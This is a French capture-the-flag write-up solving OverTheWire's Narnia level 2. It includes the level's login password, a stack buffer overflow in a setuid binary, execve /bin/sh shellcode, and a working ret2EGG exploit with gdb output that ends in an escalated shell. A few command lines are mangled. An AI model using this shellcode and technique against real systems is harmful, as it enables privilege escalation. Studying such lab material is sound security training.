Level 2

ssh narnia2@narnia.labs.overthewire.org
pass : nairiepecu
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
 
int main(int argc, char * argv[]){
        char buf[128];
 
        if(argc == 1){
                printf("Usage: %s argument\n", argv[0]);
                exit(1);
        }
        strcpy(buf,argv[1]);
        printf("%s", buf);
 
        return 0;
}

A première vue, on a un simple buffer overflow. On va donc l'exploiter de manière classique. Le shellcode utilisé ici sera un classique:

;
; execve("/bin/sh", {"/bin/sh", NULL}, NULL);
; \x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80
;
xor    %eax,%eax
mov    $0xb,%al
xor    %edx,%edx
push   %edx
push   $0x68732f6e   ; //bin/sh
push   $0x69622f2f
mov    %esp,%ebx
push   %edx
push   %ebx
mov    %esp,%ecx
int    $0x80

Un peu de tatonnement permet d'arriver à:

$ gdb /narnia/narnia2
(gdb) r `python -c 'print "A"*140 + "B"*4'`
  Starting program: /narnia/narnia2 `python -c 'print "A"*140 + "B"*4'`

  Program received signal SIGSEGV, Segmentation fault.
  0x42424242 in ?? ()

A partir de là, on lance un classique ret2EGG.

$ cat get_env.c 
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

int main(int argc, char* argv[]) {
	char* env;

	if (argc != 2) {
		fprintf(stderr, "USAGE %s ENV\n", argv[0]);
		exit(1);
	}

	env = getenv(argv[1]);

	if (!env) {
		fprintf(stderr, "Env variable %s doesn't exists\n", argv[1]);
		exit(2);
	}

	printf("------- $%s is -------\n%s\n-------- at\n%p\n", argv[1], env, env);

	return 0;
}
$ gcc get_env.c -o get_env
$ export EGG=`python -c 'print "\x90"*128 + "\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`
$ ./get_env.c./getenvasnarnia2 EGG
------- $EGG is -------
1À°
   1ÒRhn/shh//biãRSá̀
-------- at
0x7fffffffedde EGG
$ /narnia/narnia2 `python -c 'print "\x90"*140 + "\xde\xed\xff\xff\xff\x4f"'`
Segmentation fault

Soucis… Le problème vient du fait que le wargame tourne sur un machine 64 bits et que le challenge est compilé pour du 32 bits. On s'en rend compte en observant l'adresse de EGG qui devrait être quelque chose come 0xbfff???? sur du 32 bits.

$ uname -a
Linux melissa.labs.overthewire.org 2.6.38-8-virtual #42-Ubuntu SMP Mon Apr 11 04:06:34 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux
$ file /narnia/narnia2
/narnia/narnia2: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
$ file get_env
getenvasnarnia2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not strippe

Il suffit de recompiler get_env.c pour du 32 bits et on est bon.

$ gcc -m32 get_env.c -o get_env
narnia2@melissa:/tmp/nical$ file get_env
get_env: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
$ ./get_env EGG
------- $EGG is -------
1À°
   1ÒRhn/shh//biãRSá̀
-------- at
0xffffddee
$ /narnia/narnia2 `python -c 'print "\x90"*140 + "\xee\xdd\xff\xff"'`
$ id
uid=14002(narnia2) gid=14002(narnia2) euid=14003(narnia3) groups=14003(narnia3),14002(narnia2)